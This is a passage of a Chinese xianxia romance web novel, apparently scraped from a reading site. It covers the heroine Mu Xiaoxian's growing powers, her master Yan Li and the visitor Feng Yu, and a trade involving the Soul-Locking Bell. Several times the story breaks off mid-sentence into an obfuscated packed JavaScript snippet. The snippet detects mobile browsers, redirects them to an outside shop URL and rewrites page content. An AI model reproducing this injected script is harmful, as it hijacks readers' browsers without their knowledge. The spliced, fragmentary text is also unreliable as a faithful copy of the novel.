看来修炼带来的改变不只是仙术提高,就连她的身体也悄然发生着变化。 。 阔别多日,小十一算着“叔父就算真的生气也应该气消了”的时间出现在竹隐山,他躲在竹林中观察了一会儿,看到晾在外面的女装,心里悠悠松了一口气。 慕小闲练完功回来,看到有个人影在竹屋不远处鬼鬼崇崇。 她眯了眯眼露出一丝危险的神色,在距离对方十几米的位置,集中注意力用体内的仙力,一点一点灌入他的身体,对他施加威压。 小十一正不知情地探头张望着,陡然觉得肩上一沉,压得他差点就地跪下。他皱着眉,眯着眼睛回过头凌厉地一扫。身上属于野兽的气息猛地暴起,杀气冲天。 ——什么东西敢对他下手?是想死还是不想活了? 目光所及之处,有一女子着粉嫩红装,腰肢纤细体态婀娜,像是从天而降的仙女。双眸灵动,宛若星辰,饱含深情的目光锁在他身上。 当然现实并非如此,该女子看到小十一恍若被摄魂的模样,噗嗤一声大笑起来,笑得花枝乱颤,毫无形象可言。 如此姿态,这个山头应该找不出第二个了。 小十一愣怔着眨了眨眼睛:“你?你是慕小闲?”慕小闲的模样与她最初只有六分相似,身上那股痞气让她娇俏的脸庞更加生动。 小十一的眼睛在她身上打量一圈:“我怎么觉得你好像变样了?” 慕小闲挑了挑眉:“我仙术大成,脱胎换骨了呗。” 两人经历了两次大场面之后,建立起了一种一言难尽的革命情谊,凑在院子前嘀嘀咕咕。 “那天我走后,叔父说什么了?我看他面色不善,还以为你要被扫地出门了。” 慕小闲想到她差点误会晏离,摆摆手说道:“没什么。他就是看上去面冷,其实待人挺好的。” 小十一随着她走近了竹屋,眼里划过一丝疑惑,想起晏离生冷的气质,心有余悸地说:“是么,我看叔父也不是很好相处的人呐。” 厨房里一股扑腾的香气从门口溢出,白衣从氤氲中探出,平淡的目光微微扫了一眼慕小闲,然后挪移到小十一身上说:“做了点吃的。过来。” 小十一嗅了嗅,眼前一亮:“我也有?叔父真好。” 慕小闲:呵。刚才是谁说他叔父不好相处的? 两碗热腾腾的细面上桌,清汤上面点缀了几粒翠绿的葱花,还卧了一颗白胖的荷包蛋。慕小闲与小十一跨上凳子,筷子一挑,香气扑面而来。 “好吃。”小十一边吸溜边含混不清地说。“太好吃了。叔父平日不是不吃东西吗?怎么这么会做饭?” 好吃的东西总是不够的,三两下碗就见了底。慕小闲挑起一筷子面,看到碗内一愣,碗底面汤之下还藏着另一颗饱满的荷包蛋。从光滑剔透的外层看,似乎还是个流心的。 慕小闲心里怦然一跳,将挑起的面又铺了回去,像是在掩饰什么。她缓缓抬起头偷看了一眼厨房,目光与那皎洁的白色一撞又赶紧落在碗里。 前尘往事胡乱琢磨,仿佛发现了什么惊天大秘密。她眼神变了几番,不确定地小声问出了“人生三大错觉之首”:“他对我这么好,是不是还挺喜欢我的?” 他是指哪位? 小十一吸着面条看了慕小闲一眼,又挪了眼神遥看远处的第三人,猛地呛出声,丢下筷子,扭头对着地上猛咳了几声,红着眼睛地抬起头,震惊道:“你在瞎说什么?” “不,你看。”慕小闲一筷子将碗底的荷包蛋捞上来戳破,蛋黄从小孔中流出来,碗底变的金黄一片,面条裹上了浓稠的蛋液,看上去金黄诱人。 慕小闲纳闷地问:“他怎么知道我喜欢吃糖心的?” 慕小闲自上天之后一直寄人篱下,什么眼色没见过?旁人对她什么态度她岂会不知道?晏离这明显的区别对待她怎么可能不起疑心? 小十一站起身看着她碗里诱人的蛋液,再看看自己的碗里吃到一半干瘪的荷包蛋,仿佛是失败的试验品,一屁股坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“就这样?”小十一不敢相信,目光追随着慕小闲的背影,但思绪已经飘到了九霄云外。 照理说,这种有万年修为的灵丹除了十分强大的仙体,一般人根本承受不了,很有可能会在融合的过程中被灵丹反噬、走火入魔、爆体而亡。但现在慕小闲能吃能喝、活蹦乱跳,还从头到脚仿佛脱胎换骨了一般,真是奇怪了。 或许是叔父做了什么吧。 小十一冷静下来,忽然想到他和慕小闲被黑衣人追杀那日,晏离乘船出现将他们带走,在慕小闲清醒之前和他谈话,森冷地告诫他不能将慕小闲的事情告诉任何人。他以为慕小闲是惹上了什么不得了的人,所以近来收敛了许多,不敢随处乱跑,也没和长乐宫联系。 不过看叔父和慕小闲之间的氛围,总觉得他们有什么不可告人的秘密呢。 47. 第 47 章 清晨熹微的光线透过窗棂,慕小闲轻手轻脚地推开房门,对面门扉上映着一层淡淡人影,身姿单薄,行动迟缓,一晃神影子就从门上褪去。 慕小闲收回目光,突然嗅到了空气中参杂着一丝不属于这里的气味。自从她修炼精进之后,五感也变得更加发达,能感知周围的环境。 她闭上眼侧耳倾听:爪子在地上摩擦的声音、翅膀扇动的声音、咕咕咕咕的声音......好像是鸡?还不止一只? 不可能啊,自从她住进了竹屋,现在哪儿还有鸡敢上门? 慕小闲蹭上鞋子,走到竹屋门前,侧身看了一眼晏离的房间,然后悄悄推开门。 门外耀眼的橘红色一下子撞进了她的眼底,那如绸缎般的青丝、诱人的气质、妩媚的脸庞、上挑的凤眼、微微勾起的薄唇...... 那么多肥美的鸡! 慕小闲一下子被竹林中非法聚集的鸡群吸引过去,几只鸡扭扭捏捏地蹲在竹屋几米外,翅膀遮遮掩掩,勾着眼睛偷偷地往这边看。 一看一低头,兴奋地在翅膀之后咕咕咕咕,仿佛掩耳盗铃,还自得其乐。 面前凤钰为了将这一场久别重逢的气氛推向高潮,撩了撩头发,十分无良以及无耻地露出了纯洁无暇的笑容。 顿时鸡声鼎沸。 还昏倒了两只。 慕小闲从一脸兴奋到一脸无语:不是,母鸡就算了,为什么还有公鸡啊? 身后传来“吱呀”一声,晏离的身影恍若一阵清风忽至,出现在门前,眼眸一抬,与凤钰打量的目光在空中相遇。几个无声的纠缠,眸中闪过一丝细微波动,视线很快被一旁吵闹的咕咕声吸引过去。 “......” “......” “......” 怎么突然安静了? 鸡群恋恋不舍地看着凤钰,凤钰“啪”地展开扇子在胸前轻轻地摇,在微风中淡笑着说:“再看下去可有人要生气了。” 鸡群瞥了一眼慕小闲,拽着昏倒的同伴集体撤退。体现出生命诚可贵! 慕小闲恋恋不舍地看着远走的鸡群,回头挑了下眉说:“哟,贵客呀。” 凤钰手上的动作一顿,眉头蹙起,语气略带委屈地说:“小闲闲,你我何须这么生疏?几日不见,我想你想得都瘦了。你个没良心的,赶紧过来给我看看,你怎么变漂亮了?” 晏离的目光冷冷地扫了过来。 凤钰手上又是一僵,凝视了晏离几秒,似是想到了什么,眼眸愈发幽黑深沉。 又是几下无形的交手。 半晌,晏离持手而立,眼神平静无波,居然先开了口:“久闻大名。” 凤钰收起扇子,微眯了眼扬起下巴,勾起唇角说:“不必多言。” 这句对白慕小闲的理解是:黑历史太多的人不适合寒暄。 慕小闲当然不信凤钰的鬼话,但他宽大的衣摆随风而动,腰身确实纤细了不少,状态和先前比是有些萎靡。 “你说说你都想我什么了?”慕小闲问。 “......我想到这么久没见,你应当想我了,所以我就来解你的相思之苦了。”凤钰不要脸地抿着唇,眨了眨狭长的凤眼。 慕小闲下意识偷偷看了一眼晏离,见他神色无恙,回过头心里暗道谁有功夫想你? 她的微表情自然逃不过凤钰的眼睛,他眉头一挑,眼底多了一丝揣摩:“我说怎么来了这么久你都没说句好话,看来有人是美人在侧,有了新人忘了旧人。枉我心心念念她的安危,千里之外跑来看她,人家也不领情呢。”说着,眼睛还挑衅似的往晏离那边瞥了一眼。 慕小闲心里七上八下,拽着他往外走:“瞎说什么?过来坐。” 凤钰跟着慕小闲分坐在竹屋前的木桌边。 “......” “......” 晏离在门口踟蹰了一下,居然也施施然过来坐下。 慕小闲顺手斟了几杯茶,放在他们面前。晏离早已习惯她的殷勤,白皙骨感的手执起小巧的天青瓷杯,在指尖轻轻转悠,淡然的目光看似落在杯中,思绪却不知飘到了何处。 慕小闲坐在晏离身侧,眼珠子不由自主地往旁边挪去。凤钰轻咳了一声,执起茶杯装模作样地吹了吹。 慕小闲被咳嗽声拉了回来,问:“说吧,你来有什么事?” 凤钰淡笑不语,用眼神示意晏离在场不方便说话。 慕小闲:“师父,我们好久没见,想单独说会儿话。” 晏离放下手中的茶杯,抬眼看向凤钰,眸子里云淡风轻地说:“我是她师父。有什么不能知道的?” 这话说的,凤钰一口气有些提不上来。他活了几万年,晏离什么心思他能看不出来?凤钰不想趁了他的意,但无奈慕小闲是个没脑子的,看上去对晏离很是信任。 凤钰扯了扯嘴角:“罢了,也没什么不能说的。不过我与小闲闲分别多日,思念绵长,不是三言两语就能说尽的。师父大人愿意听,我们也不怕臊了。” 慕小闲瞪了凤钰一眼,还能不能好好说话了? 凤钰眼波流转,又露出人畜无害的笑容:“我这次是来送你一样宝贝。” 慕小闲眼里一亮,他居然说话算话真的将宝贝送货上门了?还没来得及激动,又听他说:“不过需要你用一样物件交换。” “什么东西?” 凤钰微笑着倾身上前,想握住慕小闲的手,对上晏离警告的眼神又坐了回去:“你手上的玉镯。” 玉镯虽然最近没有派上什么用场,但作为初级的防御武器是极好用的。 她握着镯子思忖着,抬眼问:“你是为了那残魂?” 凤钰没说话,但他的眼神告知了答案。 慕小闲又问:“你找到它了?” 凤钰眼神黯了黯,轻轻摇了摇头。 “你打算用什么来交换?” 凤钰拖起手,掌心红光一现,光芒褪去后,悬着一只光泽鲜亮的金色铃铛,不足一拳大小,外壳漆金,一半镂空雕着穿云驾雾的祥兽,极为精细讲究,流露出严肃正统的威严与气魄。 “锁魂铃。”清冷的声音响起,晏离微敛着眉,眼里是不赞同。 慕小闲一阵恍惚,盯着凤钰手中的金铃,有一种在做梦的感觉。 天庭法宝锁魂铃? 长年久居“我最想要法宝”排行榜前三? 让天帝大怒,追杀凤钰至青丘,还因此将他封印了的那个? 你就这么掏出来跟我换镯子? 是不是假的啊...... 凤钰看破了慕小闲的表情说:“别想了,是真的。 “锁魂铃是遗留的上古神器之一,天庭争夺了几万年都没到手。我就这么送上门,够有诚意了吧?你修炼仙术时如果能有一样趁手的法器会如虎添翼,你不可能找到比锁魂铃更强大的宝贝了。” 原来锁魂铃真的在凤钰手上,天庭追杀他真是有理有据。 慕小闲凑上前,仔细观摩:“这个铃铛真有那么厉害?” 凤钰得意地扬起下巴:“锁魂铃,顾名思义可以锁住魂魄。锁住的魂魄越强大,锁魂铃的威力也会越大。天庭不惜代价搜寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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空气随之低沉地震动着,如千秋万载一淌而过,无数辗转难眠的长夜交汇。在无边的孤寂与混沌中,山川异域,物转星移,新生即旧物,有形却无形。 慕小闲运气下沉,慢慢吐息。一股熟悉的气息从铃铛里释放出来,慕小闲陡然睁开眼,两指一挥,向铃铛注入自己体内的仙力。 铃铛的光耀扩大,金光夺目。 慕小闲仿佛浑身被镀了一层金光,她口中默念所学口诀,快速催动铃铛。 沉寂了数千年的铃铛猝然发出一声清脆的响声,如同冬日暖阳下皑皑雪山消融,化出晶莹的雪水坠入干涸的大地上,又如同冰封已久的湖面脆裂,一尾鲜红的鱼儿跃出水面的瞬间。 在紧紧包裹的黑暗和混沌中,那声脆响就像一柄尖细的利刃划开了一个小口,光明与生机一齐迸发,撕裂了往日虚伪的平静。 云海翻腾,狂风怒卷,树倾叶落,林间站不稳脚的小动物在绿地上翻滚。 远在千里之外的仙人,似有感应地抬起头,陷入深思。 慕小闲抬臂一挥,铃铛十分有灵性地调转了方向,强大的力量向远处的山头冲撞而去,瞬息之间天边“轰”的一声炸出了一朵蘑菇云。 须臾,长烟散去。 天地归于平静,重峦叠嶂归于安宁,居然无事发生。 一般这钟时候,围观群众就会跑出来嘲笑主角废柴。等过一阵子人群散去,对面的山头就会在沉默中轰然塌陷,以此彰显主角深藏不漏的强大威力,为日后的反转打脸埋下伏笔。 但是在物种丰富的群山之间砍一座山头是件非常没有公德心的事情,慕小闲并未用尽全力。 小试牛刀,此铃铛射程、准头还不错,衬她心意。 慕小闲抬手收回铃铛,铃铛的光芒褪去,像个普普通通的金铃一样躺在她手心。 突然,金铃微微发出微弱温和的淡蓝色光芒。 慕小闲心里一动,涌上一股暖意,轻声说:“谢谢。” 48. 第 48 章 话分两头。 竹屋旁,大风卷来几片衰败的落叶,息在晏离的脚边。 两个男人相顾无言。 晏离不发一言更显孤高,连周遭的空气都冷了几分。 半晌,凤钰实在按捺不住,说:“多年未见,别来无恙。” 晏离垂眸拂了拂杯中的热气,语气平淡地说:“我们不熟。” 凤钰挑了下眉,又恢复了往日不正经的样子,抱起双臂靠在椅背上,斜眼看他:“小离离,你怎么对我如此冷淡?你忘了你小时候我还抱过你呢。那时候你肉嘟嘟的,抓着我的头发不放,硬是亲了我一口呢。” “我没做过。” 凤钰点点头,了然道:“......啊,那就是她,她刚出生时我去看过。难怪,这招人的性子真是一点没变。” 晏离面色一沉。 凤钰装模作样地捂住鼻子,往旁边躲:“哟,我怎么闻着酸味了。” 晏离忽视了他的话,反问他:“你打算做什么?” 近旁,杯中热气氤氲而升。远处,长空划过一声凄厉的鸟叫。 凤钰慢慢端正了身体,收起了散漫的表情,闭上眼又缓缓睁开。那双凤眼中凝聚着难以抑制的滔天戾气,他阴沉着脸,压着声线道:“有冤伸冤,有仇报仇,天经地义。” 晏离眼神微动:“我不会放过他们。” 凤钰神色反而一松,将杯中茶水一饮而尽,扣在桌上:“事成之后,除了渊儿性命,其他由你们处置。” 良久清风拂动衣袖,凤钰向竹林深处投下一瞥,问:“你打算什么时候告诉她?” 晏离望着杯中树影,须臾:“再等等吧。” 凤钰眼神又变得不正经,笑看晏离,揶揄道:“嘶。难道你还想重新复习一遍?”他撑着脸,眼神在晏离身上一转:“啧啧,这要是换了我,深山老林二人世界,生米都煮成锅巴了。你是不是不太懂?不懂我可以教你啊!” 晏离没有搭理他,执着空茶杯,不知在思忆什么,顿了一会儿说:“她什么也不知道。” 凤钰恍若听了什么笑话,连着笑了几声,又有些无奈地摇了摇头:“有些事是她避不开的,你拖得越久,她就越危险。况且她若是真是什么也不明白,此刻锁魂铃就不会落入她手中了,她可比你想象的厉害。你愿意等,别人未必会等,小心得不偿失。” 晏离的眼神从杯子上挪开,看向凤钰,仿佛在等他的下文。 凤钰偏不把话说完,看着他笑嘻嘻地问:“你不是清心寡欲吗?怎么对她不能平静?” 晏离见此,想到关于凤钰的传闻,微敛了眉:“如果你只是为了调侃我,可以离开了。” 凤钰回神,眼里精光一现:“真是的,一点情趣也不讲,苦了我的小闲闲,一天到晚和个冰块待在一起,这日子怎么过的呀。我不跟你绕弯子了,我还有一件事要拜托你,我听闻你学过华胥族的乐理......” 话音未落,气氛陡然凝滞,晏离的眼神蓦然变得更冷。 凤钰微眯着眼,毫不避讳地与他对视,不放过他任何细微的表情,十分笃定地说:“你会弹招魂引。” 传闻上古神族之一的华胥族精通乐理,族中有一密谱招魂引,能够追踪、召唤、控制亡魂,世人趋之。 然,此密谱从不外传,而华胥族经历了几次分割,早在几万年前泯灭于历史长河,招魂引也失传了。 晏离神色恢复淡然:“你消息有误,我并不知道什么招魂引。” 凤钰收起散漫,身体端坐如山,紧绷着下颚,神色严肃道:“我打听到的不会错。是他教给你的。” 晏离面对他的压迫波澜不惊:“招魂引不过是个传说。” 凤钰瘦削的双手猛然撑在桌子上,身体微微前倾,目光紧紧锁着晏离,声音不自觉地提高:“你应该比我更清楚那不是传说。” 一阵风呼啸而过,两人静默许久,凤钰眼里压着浓烈的情绪,而晏离却很淡定。 “你是靠招魂引找到她的,对吗?”凤钰松了手,声音有些颤抖:“招魂引......你连她都能找到。你能帮帮我吗?” 凤钰在世人眼中始终是肆意洒脱的翩翩公子,此时他流露出的脆弱和卑微,让晏离一怔,他仿佛透过凤钰看到了很久很久以前,某些他不愿意回想的时刻。那个时候他是什么样子?或许也是这样,又或许更甚。 晏离垂眸,喃喃:“锁魂铃真正要换的是这个么。” “随你怎么想。我将它留在这里,就是将我的命留下了,你还有何顾虑。” 话到这份上,晏离竟还是未应,不知在盘算什么。 凤钰急了,想要添上几句,忽然听林中前有细微的动静,眼神忽而变得犀利,察觉来人是慕小闲后眼神瞬间软化了。 这块寒冰他说不动,但是总有人说得动。 凤钰深深地撇下一眼,飞快地迎到竹林入口,唇角带笑凤眸微扬:“小闲闲,锁魂铃是不是很厉害?” 慕小闲对凤钰这副态度很受用,点点头:“我觉得我和那残魂应当是很有缘分,也很合得来,他好像能感应到我。放心,我会保护好他的。” 凤钰露出笑意,轻声说:“是么?” 慕小闲向竹屋走去,不经意地问:“你认识残魂吗?他生前是什么人?” 凤钰舔了舔嘴唇,思索了一会儿:“他是我的......” 一股寒气涌来,白衣站起身,目光凛然地对着凤钰,打断道:“我答应了。” 凤钰霎时间喜上眉梢,格外娴熟地拍了拍慕小闲的肩膀,慕小闲不明所以也未避开。 她的目光在他们两人身上打量,微微蹙起眉头,他们神色坦然,她隐隐觉得他们之间有她不知道的关系。这个认知让她有些吃味,慕小闲等着凤钰的下文,冲他挑了挑眉,凤钰却在晏离的注视下轻笑一声,一双含笑的凤眼与他的目光交汇,只可意会不可言传。 两位风姿绰约的翩翩公子是极为养眼的,此时慕小闲却觉得眼里揉进了沙子。 晏离给了凤钰一个警告的眼神,说:“我去准备一下。”然后转身进屋,留下慕小闲十分幽怨地看着凤钰,怎么也想不明白她不过就离开了一会儿,剧情怎么就突飞猛进了。 思及此,慕小闲看凤钰的眼神越发有深意。 凤钰大摇大摆地在院子里晃荡,没有解释,不解释才好玩不是吗? 良久慕小闲追上去,阴恻恻地问:“你和晏离是不是之前认识?你们是什么关系?” 凤钰背着手走的极为招摇:“就是那种关系啊。” 慕小闲追问道:“那种关系是哪种关系?” 凤钰唇角一勾,眼神暧昧,低声道:“嗯,就是那种不可言说的关系。” 就算知道凤钰不着调的性子,嘴里没一句正经话,慕小闲还是忍不住停下脚步,神情复杂地看着他。不怪慕小闲胡乱猜测,她刚认识凤钰的时候,凤钰可是一个劲的往她身上贴,那副不值钱的样子还记忆犹新。 凤钰心里却是叹了口气,有一种老父亲恨铁不成钢的忧郁。以他十数万年的岁数,一眼就能看穿晏离在玩什么欲擒故纵的把戏,但没想到姜太公钓鱼,还真有鱼傻乎乎地上钩啊。 半晌,慕小闲目光灼灼地看着他,神情颇为认真地说:“他看不上你的。” 凤钰身体一僵,瞪着眼睛气笑了,转身愤然道:“我还看不上他呢!” “真的?”慕小闲哼哼道:“你别把你那些不入流的把戏用在晏离身上,他不是可以随意轻薄的人。” 凤钰用扇柄敲了一下慕小闲的脑袋:“你呀,你小小年纪怎么总是胡思乱想,他答应的是别的事......” 慕小闲撇撇嘴:“还不是你们讲话不清不楚的。还有我不小了,该知道的都知道。” 凤钰不信,提起声调阴阳怪气地说:“哦?就算你知道,你也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137712|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有经验。” “说的好像你有一样。” 凤钰眼波一转,突然想到有意思的东西,别有深意地瞥了一眼竹屋的方向,向慕小闲招招手:“来来来,今天就跟你讲讲我的经验......” 晏离忽然推开门,冰冷的眼神一扫,浑身散发着寒气。 “......” “......” 慕小闲和凤钰面面相觑。 天色将晚,夕阳西下,寒气渐重。 晏离抱琴而出,在院内摆上琴架。 琴边放着一盏陈旧的香炉,表面变得黯然无光。裹挟着沉木、香柏、泽兰、蕙草等草木的气息从香炉中溢出,很快将周遭熏得尽是这种安神醒脑的气味。 凤钰站在一侧,神情有些紧张。慕小闲知道他们有正事要做,搬了个凳子安静坐在旁边。 招魂引分为三个部分,主曲,中曲,尾调。最为重要的主曲用来搜寻魂魄的位置,中曲可以召唤魂魄,尾调可令魂魄安息。 主曲最长也最为伤身费神。天地辽阔,寻一魂魄并非易事,有时甚至需要循环数次,一遍一遍,一厘一厘地感应。 晏离拢袖而坐,发丝束在身后,身影还是那样清瘦,恍若回到了慕小闲苏醒的那个早上。他的手搭上琴弦,阖上眼凝神聚气,木琴上铺开一层纯净的仙力。 柔指轻捻,哀曲暗叙,沉寂的群山间回荡起幽幽的琴音。 几次断句吐息,几个长音,婉转的曲调渐渐带出一丝杜鹃啼血的凄厉。林间沙沙作响,仿佛有混沌的魂灵拖着长长的身躯漫无目的地在山间飘游。 四周烟雾缭绕,晏离坐在氤氲的雾团中,阖着双眼,眉间紧皱,神情紧绷,额头渗出了细密的汗珠。 黑暗中,他仿佛置身于一块巨大的棋盘,琴音带着他的仙力在棋盘上铺开,游走在纵横的网格中。 谁也不敢出声,唯恐打乱了他的思绪。 琴音渐重,似声声马蹄踏破夜空。倏忽,阵阵号角短兵相接,恻恻阴雨连绵不绝。 未几,音调一转,将军埋骨鬼怪啼哭,号旗染血陷于黄土。 落日长烟,悲怆的曲调让整座山林沉寂下来。 晏离忽然明显地一顿,凤钰呼吸一滞,紧张地问:“怎么了?” 晏离眉头紧锁:“感应不到。” 凤钰眼神黯了黯,嘴唇微微颤抖:“怎么可能?再试!” 晏离未做停顿,指尖在弦上一拨,又是新的一曲。 “不行。” “再试!” “不行。” “再试!” “不行。” “再试!” ...... 月影西斜,阴气逼人。 一遍又一遍,晏离白皙的指尖渗出血痕,浑身浸湿,气息越来越不稳。凤钰犹如一块磐石伫立在他身侧,眼里遍布红丝,死死攥紧拳头。 慕小闲裹着毯子坐在门边,始终观察着晏离的状态,神色复杂地对凤钰说:“你别逼他了,他......” 晏离看上去好像很难受,他身体本就不好,这么下去绝对吃不消。但慕小闲没有接着说下去,她发现眼前的二人虽然反差极大,但好像在这件事情上达成了一致,他们有着同样的执念。 ...... 晨雾四起,远山鸡鸣,万物在困顿中迎来黎明。 已经不知弹奏了几遍,又进行到了哪个小节。守了一天一夜的慕小闲只觉得天昏地暗,遥遥无期。 天色大亮,林间热闹起来。周遭却弥漫着一股阴郁之气,凤钰与晏离二人依旧一刻不停,脸色越来越苍白。 又过几个时辰,慕小闲正撑着下巴打瞌睡,突然听到琴弦一铮,琴音断了。她猛地睁开迷瞪的眼睛看向晏离的方向,他的手从弦上落下,睁开薄雾一般的眼睛。 他嚅动苍白的嘴唇,声音沙哑地说: “找到了。” 49. 第 49 章 两人坚持了一夜,此时俱是面色惨淡。 凤钰眼神突然迸射出一抹光芒,垂在身侧的拳头微微颤抖,既像是期待又像是害怕,半晌,才开口:“在哪里?” “西南四千里。” 凤钰面色更加紧张:“能将他召唤过来吗?” 晏离顿了一下,解释道:“他生前的灵力太强,不受我的控制。” 凤钰恳求道:“再试一次。” 晏离放下手,抬眼:“他已有所察觉,再来会打草惊蛇。” 凤钰紧紧攥着拳头,神色复杂,望着西南方喃喃:“真的不行吗?” 晏离摇了摇头。 慕小闲听得云里雾里,那抹残魂到底是谁?晏离也认识他吗? 凤钰身形一晃像要倒下,脚步勉强站稳,轻舒了一口气:“罢了。罢了......”他抬起那双疲惫的凤眼看向天空,苍白又妩媚的脸上,露出自嘲似的笑容:“我去寻他。”声音轻柔,语气似乎夹杂着一丝无奈,眼里是无尽的思念与悲凉。 慕小闲心口一撞,在她的印象中,凤钰好像从来没有用这种语气和旁的人说过话。 凤钰眼神一转,眉眼恢复了往日的神采,冲慕小闲眨了眨眼睛,轻快地说:“小闲闲,我要走了。” 慕小闲恍惚地问:“这么快?” 凤钰大为感动,作势要来抱她:“我就知道小闲闲舍不得我。”被晏离的咳嗽声制止。 晏离折腾一夜,身体自是有些受不住,单薄的身体好像随时都会飘走一样。 慕小闲担忧地望向他,看着他蹒跚的身影,目光又落在他的脚踝上。 凤钰目光在二人身上流转,思忖片刻,眯眼笑着看向慕小闲:“本来我不想说的,不过或许你会有兴趣。”他卖了个关子,等二人的注意力重新回到他身上,他才接着说道:“华尧来青丘了......他希望白瑶退婚。” 晏离的步子一顿,微微朝慕小闲看过去。 凤钰佯装没看见,挑着眉单独问慕小闲:“你知道为什么吗?” 慕小闲果然被他忽悠了过去,目色变得茫然,下意识往旁边瞄了一眼,看到晏离神色平静,心里涌起一股躁动:“为什么?” 凤钰不经意地舔了舔干涩的嘴唇,望着晏离,笑道:“哈哈哈哈哈我也不知道。” 凤钰倾身,低下头凑到慕小闲耳边,目光戏谑地勾着晏离,用只有他们二人能听见的声音说:“不过也许很快就会知道了。” 慕小闲扭头压着声音:“你不如有话直说,话说一半我晚上睡不着觉。” 凤钰与慕小闲咬耳朵:“你要真睡不着,去找你师父玩儿呗。” 慕小闲诧异地看了他一眼,回瞪他:“你这是什么大逆不道的话?我师父要是生气把我赶出去了怎么办?我拿你当朋友,你居然陷我于不利,我真是看错......哦不,我真是看对你了你就是这种人。” 凤钰唇角含笑也不解释,在晏离不悦的眼神中挺起身:“我要去寻他了。如果这次能找到他,我带他来看你。” 慕小闲点点头:“没找到千万别来见我。” 凤钰深深看了一眼晏离,转身慢慢向竹林中走去。红衣似火在绿意盎然的竹林中格外醒目,他走出几步,回头姿态散漫地冲慕小闲嚷嚷,轻慢的声音传来:“不如以后我们在一块儿算了,我负责将鸡勾引过来,你想怎么做都行,岂不快哉?” 一阵寒气从身后逼来。 慕小闲看着那袭橘红色消失在密林深处,小小声说: “呵男人。” “连鸡都不放过呢。” 。 雨过天晴,山林焕然一新,空气中弥漫着青草的气息。 锁魂铃的威力过于强大,她的破坏力一发不可收拾,现在修炼要尽可能远离竹屋。 这几日,慕小闲在竹隐山附近,寻了一处荒僻的地方修炼。她学习兴致高涨,晏离也毫不吝啬地点拨,许多仙术已经能得心应手。 但是还不够,她没有安全感地想,只有更强,才能当预料之外的危机到来时,快速稳定局势,让生活尽可能复回原状,将损失降到最低。 隔壁山头的小动物有点傻白甜,对慕小闲的事迹不太了解,在她修炼时还躲在附近偷看。看到慕小闲一道亮光劈出,砍碎了大块岩石,身上的绒毛像松针一样一根一根直立起来。明明怕的不行,第二天依旧偷偷过来,再看再怂,屡试不爽。 如此三番,慕小闲不得不重视起来。 小小年纪喜欢看人练功,不得了啊。 小东西看的起劲,嘴里还叼着根青草慢慢嚅动,停下来看一会儿慢慢吞一段,一根青草半个时辰也没嚼完。 慕小闲虚晃一招,突然出现在它近前,手一抓,毛发顺滑得差点脱手。 那是一只浅棕色的炸毛兔子。一耳朵低垂着,两只红红的眼睛害怕又好奇地看着慕小闲,还衔着草的三瓣嘴忘记了咀嚼,两只后腿瑟瑟发抖。 慕小闲低头凑近小兔子,心里一动,听见小兔几身体里冒出一个细弱的声音:“好漂亮啊叽。” “她看我了她看我了叽。” “不行我要晕倒了叽。” 慕小闲本想让它滚远点,没想到这小家伙还挺有眼光。她松了手,小兔子落在地上,也不逃跑,而是怯生生地看着她,眼里还有期待的小星星。 慕小闲抱起双臂,厉声道:“不行,不能偷看,很危险。” 小家伙心里念着:“姐姐说什么都对,叽。”但很明显并没有领会她在说什么。 “你叫什么名字?”慕小闲问。 小家伙:“没有名字叽” “行走江湖怎么能连个名号都没有,看你挺有灵性,不如我给你起个名字吧。”慕小闲托腮沉思,她第一次给动物起名,一定要想一个惊世骇俗的名字! 她眼珠一转,说:“既然这里的草这么绿......” 小家伙一脸期待,心里好像绽放了大片美丽的花海,它与漂亮的小姐姐在花丛中奔跑嬉戏...... 空中传来:“那你就叫小黄瓜吧!” “轰隆。”小兔子两腿一蹬,倒地抽搐,心里眼泪哗哗地流。 慕小闲挠了挠头发:“举手之劳,不用这么感动。” 慕小闲伸手去戳小兔子毛茸茸的肚子,小兔子在她手下躲闪,忽然她的手指一顿,一股怪异的气息从身后飘来。她眉头一皱,立马捞起小黄瓜飞快闪到一边。 尘土扑面而来,一个巨型之物从天骤然降下,砸在她们刚才的位置,砸出了一大块深坑。 尘土飘散开来,立在坑里的竟是一只巨大的箜篌,琴弦锃亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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慕小闲将小黄瓜往旁边一丢,大喝一声:“小黄瓜快跑!” 黑影一滞,给了小黄瓜逃跑的时间,它发誓它从来没有跳过这么快,转眼就蹿出了三里地。 所以有一个好名字多重要啊。 几点紫光在她脚边炸开,慕小闲今非昔比,看到此景心里毫无波澜,甚至唇角还泛起了冷冷的笑意。紫光快,她更快,几个虚影在天罗地网的追击下一闪而过,最终落在黑影面前。 慕小闲的耐心用光了,暴躁地吼道:“喂,你听不懂人话吗?” 黑影不等她说完,指尖飞快地拨动琴弦。一阵魔音灌入慕小闲耳中,慕小闲眼前一花,使劲甩了甩头,眼前的黑影仿佛扩大了一圈,将她的视野填得满满当当。她的速度受到干扰明显减缓,在跳跃了几次后,扶着树干停了下来,胸口剧烈地起伏。 黑影反倒不急了,优哉游哉地漫步走来。 